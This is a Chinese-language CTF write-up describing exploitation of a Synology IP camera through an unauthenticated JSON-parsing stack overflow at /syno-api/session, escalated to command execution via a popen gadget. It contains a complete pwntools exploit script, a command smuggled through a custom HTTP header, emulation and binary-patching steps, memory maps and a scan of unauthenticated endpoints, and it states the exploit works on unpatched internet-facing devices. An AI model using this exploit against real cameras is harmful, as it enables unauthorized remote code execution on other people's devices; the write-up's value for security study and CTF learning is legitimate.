2024年2月

设备情况

这是一台网络摄像头,题目只开放了管理登录界面,应该是来自于前几个月 Pwn2Own 上的破解。

image-20240205161734787

折腾一天混了个三血

5cc76de70f83041d48c03a0381c5e33

利用思路

  1. 未授权接口+JSON 解析溢出,其中 buf1 和 buf2 可以控制

img

  1. 虽然可以溢出,但是难以劫持返回地址,因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用,并且最后会被析构,所以绕过和伪造比较困难。第二个难点是 json 通过 \uXXXX 嵌入不可见字符时会被 UTF8 编码导致 payload 破坏,并且默认 flags 下不支持传入 \u0000,很多地址无法使用(这一点需要通过逆向发现具体限制,不展开)。
  2. 观察发现栈上缓存的 lex_t 结构体在满足一定条件后可以劫持 lex_t->stream_t->get 这一函数指针

img

  1. 满足一些栈上变量的限制条件后,将这个指针劫持到SynoPopen函数中 popen 调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。

img

  1. 由于请求者自定义的请求头也会被传递给 CGI,所以可以使用$ENV_NAME 的方式可以执行请求头中放置的命令,然后把 flag 写到 /www/index.html 直接读出来

img

  1. 地址随机化程度很低,exp 成功概率约为 1/5
from pwn import *
import os

context.log_level = "debug"

ip = "47.88.48.133"
port = 33803
p = remote(ip, port)
#p = remote("127.0.0.1", 8080)

def poc(cmd):
    payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA"
    value = b'""'
    json_data = b'{"' + payload + b'": ' + value + b'}'
    _data = json_data
    buf = b""
    buf += b"PUT /syno-api/session HTTP/1.1\r\n"
    buf += b"Accept: */*\r\n"
    buf += b"A: cp /flag /www/index.html\r\n"
    buf += b"Content-Type: application/json\r\n"
    buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n"
    buf += b"\r\n"
    buf += _data
    return buf

def exp():
    p.send(poc(b"$HTTP_A;"))
    print("Try to read flag...")
    os.system(f"curl http://{ip}:{port}/index.html")
    #p.interactive()

if __name__ == "__main__":
    exp()
  1. 目前该 EXP 可以直接攻击公网中未升级的设备,请勿用于非法用途

调试方法

  1. 如何获取设备终端?

    • 虽然模拟固件时可以得到一个 shell,但是由于模拟的问题终端会被报错信息填满,可以使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
  2. 如何调试 CGI?

    • 方法1:提取 CGI 二进制文件,使用 qemu-user 进行模拟,只需要通过环境变量传递 HTTP 请求头和其它请求参数,通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符,对利用方式有影响,适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。

      from pwn import *
      import json
      import urllib
      
      context.log_level = "debug"
      
      payload = b"A"*53
      json_data = b'{"' + payload + b'": ""}'
      content_length = len(json_data)
      # elf base: 0x40000000
      # json lib: 0x3f78c000
      
      p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/synocam_param.cgi"], 
                  env={
                      "GATEWAY_INTERFACE": "CGI/1.1",
                      "CONTENT_TYPE": "application/json",
                      "ACTION_PREPARE": "yes",
                      "LOCAL_URI": "/syno-api/session",
                      "REMOTE_ADDR": "10.0.2.2",
                      "SHLVL": "1",
                      "DOCUMENT_ROOT": "/www",
                      "REMOTE_PORT": "34052",
                      "RESPONSE_TO": "SOCKET",
                      "HTTP_ACCEPT": "*/*",
                      "CONTENT_LENGTH": str(content_length),
                      "SCRIPT_FILENAME": "/www/camera-cgi/synocam_param.cgi",
                      "PATH_TRANSLATED": "/www",
                      "REQUEST_URI": "/syno-api/session",
                      "SERVER_SOFTWARE": "CivetWeb/1.15",
                      "LOCAL_URI_RAW": "/syno-api/session",
                      "PATH": "/sbin:/usr/sbin:/bin:/usr/bin",
                      "SERVER_PROTOCOL": "HTTP/1.1",
                      "HTTP_CONTENT_TYPE": "application/json",
                      "REDIRECT_STATUS": "200",
                      "REQUEST_METHOD": "PUT",
                      "PWD": "/www/camera-cgi",
                      "SERVER_ROOT": "/www",
                      "HTTPS": "off",
                      "SERVER_PORT": "80",
                      "SCRIPT_NAME": "/syno-api/session",
                      "ACTION_QUERY": "yes",
                      "SERVER_NAME": "IPCam",
                      "HTTP_CONTENT_LENGTH": str(content_length)
                  }
                  )
      p.send(json_data)
      p.shutdown('send')
      p.interactive()
    • 方法2:使用 qemu-system 的 -s 参数进行调试,在已知 CGI 地址空间时可以直接给漏洞点下断,等待触发断点,好处是和真实利用时的情况接近,缺点是操作比较麻烦,有时候会出现地址冲突问题。
  3. 如何获取 CGI 地址空间?

    • 为了下断点和知道地址劫持的目标,获取 CGI 运行时地址空间很重要,但是 CGI 只在每次请求时单独被调用,每次运行地址都在变。所以首先得关闭设备 ASLR,然后通过 patch CGI 入口使其进入循环,这时候就可以通过 proc 文件系统读出地址空间如下。

      • patch 方式:printf "\xFE\xFF\xFF\xEA" | dd of=synocam_param.cgi bs=1 seek=$((0x7BF1C)) count=4 conv=notrunc
      • 地址空间:

        00400000-004a7000 r-xp 00000000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b7000-004b8000 r--p 000a7000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b8000-004b9000 rw-p 000a8000 00:02 1764       /www/camera-cgi/synocam_param_1.cgi
        004b9000-004da000 rw-p 00000000 00:00 0          [heap]
        76824000-76865000 rw-p 00000000 00:00 0 
        76865000-76991000 r-xp 00000000 00:02 1669       /lib/libc-2.30.so
        76991000-769a1000 ---p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a1000-769a3000 r--p 0012c000 00:02 1669       /lib/libc-2.30.so
        769a3000-769a4000 rw-p 0012e000 00:02 1669       /lib/libc-2.30.so
        769a4000-769a7000 rw-p 00000000 00:00 0 
        769a7000-769c5000 r-xp 00000000 00:02 1607       /lib/libgcc_s.so.1
        769c5000-769d4000 ---p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d4000-769d5000 r--p 0001d000 00:02 1607       /lib/libgcc_s.so.1
        769d5000-769d6000 rw-p 0001e000 00:02 1607       /lib/libgcc_s.so.1
        769d6000-76a32000 r-xp 00000000 00:02 1728       /lib/libm-2.30.so
        76a32000-76a41000 ---p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a41000-76a42000 r--p 0005b000 00:02 1728       /lib/libm-2.30.so
        76a42000-76a43000 rw-p 0005c000 00:02 1728       /lib/libm-2.30.so
        76a43000-76b39000 r-xp 00000000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b39000-76b48000 ---p 000f6000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b48000-76b4d000 r--p 000f5000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b4d000-76b50000 rw-p 000fa000 00:02 848        /usr/lib/libstdc++.so.6.0.25
        76b50000-76b51000 rw-p 00000000 00:00 0 
        76b51000-76b53000 r-xp 00000000 00:02 1621       /lib/libdl-2.30.so
        76b53000-76b62000 ---p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b62000-76b63000 r--p 00001000 00:02 1621       /lib/libdl-2.30.so
        76b63000-76b64000 rw-p 00002000 00:02 1621       /lib/libdl-2.30.so
        76b64000-76b84000 r-xp 00000000 00:02 1351       /lib/libz.so.1.2.13
        76b84000-76b93000 ---p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b93000-76b94000 r--p 0001f000 00:02 1351       /lib/libz.so.1.2.13
        76b94000-76b95000 rw-p 00020000 00:02 1351       /lib/libz.so.1.2.13
        76b95000-76c10000 r-xp 00000000 00:02 1725       /lib/libssl.so.1.1
        76c10000-76c1f000 ---p 0007b000 00:02 1725       /lib/libssl.so.1.1
        76c1f000-76c24000 r--p 0007a000 00:02 1725       /lib/libssl.so.1.1
        76c24000-76c28000 rw-p 0007f000 00:02 1725       /lib/libssl.so.1.1
        76c28000-76e6f000 r-xp 00000000 00:02 1753       /lib/libcrypto.so.1.1
        76e6f000-76e7f000 ---p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e7f000-76e95000 r--p 00247000 00:02 1753       /lib/libcrypto.so.1.1
        76e95000-76e97000 rw-p 0025d000 00:02 1753       /lib/libcrypto.so.1.1
        76e97000-76e9a000 rw-p 00000000 00:00 0 
        76e9a000-76f1a000 r-xp 00000000 00:02 1608       /lib/libcurl.so.4.8.0
        76f1a000-76f2a000 ---p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2a000-76f2b000 r--p 00080000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2b000-76f2d000 rw-p 00081000 00:02 1608       /lib/libcurl.so.4.8.0
        76f2d000-76f2e000 rw-p 00000000 00:00 0 
        76f2e000-76f45000 r-xp 00000000 00:02 1751       /lib/libpthread-2.30.so
        76f45000-76f54000 ---p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f54000-76f55000 r--p 00016000 00:02 1751       /lib/libpthread-2.30.so
        76f55000-76f56000 rw-p 00017000 00:02 1751       /lib/libpthread-2.30.so
        76f56000-76f58000 rw-p 00000000 00:00 0 
        76f58000-76f9c000 r-xp 00000000 00:02 1595       /lib/libutil.so
        76f9c000-76fab000 ---p 00044000 00:02 1595       /lib/libutil.so
        76fab000-76fac000 r--p 00043000 00:02 1595       /lib/libutil.so
        76fac000-76fad000 rw-p 00044000 00:02 1595       /lib/libutil.so
        76fad000-76fae000 rw-p 00000000 00:00 0 
        76fae000-76fbd000 r-xp 00000000 00:02 1358       /lib/libjansson.so.4.7.0
        76fbd000-76fcc000 ---p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcc000-76fcd000 r--p 0000e000 00:02 1358       /lib/libjansson.so.4.7.0
        76fcd000-76fce000 rw-p 0000f000 00:02 1358       /lib/libjansson.so.4.7.0
        76fce000-76fee000 r-xp 00000000 00:02 1612       /lib/ld-2.30.so
        76ff5000-76ffb000 rw-p 00000000 00:00 0 
        76ffb000-76ffc000 r-xp 00000000 00:00 0          [sigpage]
        76ffc000-76ffd000 r--p 00000000 00:00 0          [vvar]
        76ffd000-76ffe000 r-xp 00000000 00:00 0          [vdso]
        76ffe000-76fff000 r--p 00020000 00:02 1612       /lib/ld-2.30.so
        76fff000-77000000 rw-p 00021000 00:02 1612       /lib/ld-2.30.so
        7efdf000-7f000000 rw-p 00000000 00:00 0          [stack]
        ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]
  4. 如何获取 CGI 环境变量?

    • webd 调用 CGI 时只看文件名,所以可以将原来的 CGI 可执行文件替换成一个 shell 脚本打印出 webd 传递的环境变量。
  5. 如何确定未授权入口?

    • 提取两类地址—— web 根目录下所有的文件相对路径、前端 JS 中的 API 路径,使用 dirsearch 扫描排除 401 响应的接口(注意需要换不同的请求方法进行尝试)。提取未授权入口是因为漏洞位于 json 解析的库中,而不是 webd 中,需要能够找到能够解析 json 的接口来完成整个攻击链。

      • 提取的 URL 如下,其中 /syno-api/session 就是本次攻击的入口:

        [20:50:34] 200 -   29KB - /uistrings/ptb/strings
        [20:50:34] 200 -   28KB - /uistrings/nor/strings
        [20:50:34] 200 -   48KB - /uistrings/rus/strings
        [20:50:35] 200 -   29KB - /uistrings/sve/strings
        [20:50:35] 200 -   30KB - /uistrings/nld/strings
        [20:50:35] 200 -   30KB - /uistrings/krn/strings
        [20:50:35] 200 -   29KB - /uistrings/ita/strings
        [20:50:35] 200 -   30KB - /uistrings/spn/strings
        [20:50:35] 200 -   34KB - /uistrings/jpn/strings
        [20:50:35] 200 -   30KB - /uistrings/ptg/strings
        [20:50:35] 200 -   32KB - /uistrings/hun/strings
        [20:50:35] 200 -   27KB - /uistrings/enu/strings
        [20:50:35] 200 -   24KB - /uistrings/chs/strings
        [20:50:35] 200 -   28KB - /uistrings/dan/strings
        [20:50:35] 200 -   24KB - /uistrings/cht/strings
        [20:50:35] 200 -   31KB - /uistrings/ger/strings
        [20:50:35] 200 -   32KB - /uistrings/fre/strings
        [20:50:35] 200 -   30KB - /uistrings/trk/strings
        [20:50:35] 200 -   29KB - /uistrings/csy/strings
        [20:50:36] 200 -   31KB - /uistrings/plk/strings
        [20:50:36] 200 -   61KB - /uistrings/tha/strings
        [20:50:36] 200 -   32KB - /uistrings/uistrings.cgi
        [22:39:23] 200 -   15B  - /syno-api/session
        [22:39:25] 200 -    7B  - /syno-api/security/info/language
        [22:39:25] 200 -   21B  - /syno-api/security/info/mac
        [22:39:25] 200 -    4B  - /syno-api/security/info/serial_number
        [22:39:25] 200 -  105B  - /syno-api/security/info
        [22:39:25] 200 -    6B  - /syno-api/activate
        [22:39:25] 200 -    9B  - /syno-api/security/info/name
        [22:39:25] 200 -   14B  - /syno-api/maintenance/firmware/version
        [22:39:25] 200 -    6B  - /syno-api/security/network/dhcp
        [22:39:25] 200 -    9B  - /syno-api/security/info/model